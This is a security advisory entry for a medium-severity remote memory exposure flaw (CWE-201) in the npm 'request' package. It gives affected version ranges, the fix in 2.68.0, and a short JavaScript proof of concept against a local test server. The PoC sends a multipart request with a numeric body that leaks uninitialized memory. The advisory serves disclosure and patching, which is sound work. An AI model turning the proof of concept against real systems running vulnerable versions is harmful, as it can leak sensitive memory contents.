GHSA-7xfp-9c55-5vqj

Suggest an improvement
Source
https://github.com/advisories/GHSA-7xfp-9c55-5vqj
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/11/GHSA-7xfp-9c55-5vqj/GHSA-7xfp-9c55-5vqj.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-7xfp-9c55-5vqj
Aliases
Published
2018-11-09T17:44:01Z
Modified
2023-11-08T03:59:00.437371Z
Severity
  • 5.9 (Medium) CVSS_V3 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
Summary
Remote Memory Exposure in request
Details

Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.

Proof of Concept

var request = require('request');
var http = require('http');

var serveFunction = function (req, res){
    req.on('data', function (data) {
            console.log(data)
        });
    res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);

request({
    method: "POST",
    uri: 'http://localhost:8000',
    multipart: [{body:500}]
},function(err,res,body){});

Recommendation

Update to version 2.68.0 or later

Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-201"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:23:42Z"
}
References

Affected packages

npm / request

Package

Affected ranges

Type
SEMVER
Events
Introduced
2.49.0
Fixed
2.68.0

npm / request

Package

Affected ranges

Type
SEMVER
Events
Introduced
2.2.6
Fixed
2.68.0

Database specific

{
    "last_known_affected_version_range": "< 2.47.0"
}